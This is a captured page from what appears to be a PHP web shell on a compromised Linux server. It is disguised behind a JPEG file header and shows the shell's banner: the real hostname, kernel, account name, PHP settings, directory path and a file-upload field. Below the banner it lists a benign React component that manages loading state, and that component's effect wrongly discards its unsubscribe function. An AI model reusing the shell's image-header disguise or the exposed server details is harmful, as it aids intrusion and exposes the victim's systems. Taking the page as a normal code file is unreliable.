ÿØÿà JFIF ` ` ÿþ
|
Server : Apache System : Linux cloud.heroica.com.br 4.18.0-553.36.1.el8_10.x86_64 #1 SMP Wed Jan 22 03:07:54 EST 2025 x86_64 User : farolpborg ( 1053) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /var/www/node_services/sebrae_test_admin/src/contexts/ |
Upload File : |
import React, { createContext, useCallback, useContext, useMemo, useRef, useState } from 'react';
import { loadingBus } from '../utils/loadingBus';
interface LoadingContextValue {
pending: number;
isLoading: boolean;
start: () => void;
stop: () => void;
}
const LoadingContext = createContext<LoadingContextValue | undefined>(undefined);
export const LoadingProvider: React.FC<{ children: React.ReactNode }> = ({ children }) => {
const [pending, setPending] = useState(0);
const pendingRef = useRef(0);
const start = useCallback(() => {
pendingRef.current += 1;
setPending(pendingRef.current);
}, []);
const stop = useCallback(() => {
pendingRef.current = Math.max(0, pendingRef.current - 1);
setPending(pendingRef.current);
}, []);
// Subscribe to global loading bus to reflect axios requests
React.useEffect(() => {
const unsubscribe = loadingBus.subscribe((delta: 1 | -1) => {
if (delta === 1) start(); else stop();
});
unsubscribe;
}, [start, stop]);
const value = useMemo(() => ({
pending,
isLoading: pending > 0,
start,
stop,
}), [pending, start, stop]);
return (
<LoadingContext.Provider value={value}>
{children}
</LoadingContext.Provider>
);
};
export function useLoading() {
const ctx = useContext(LoadingContext);
if (!ctx) throw new Error('useLoading must be used within LoadingProvider');
return ctx;
}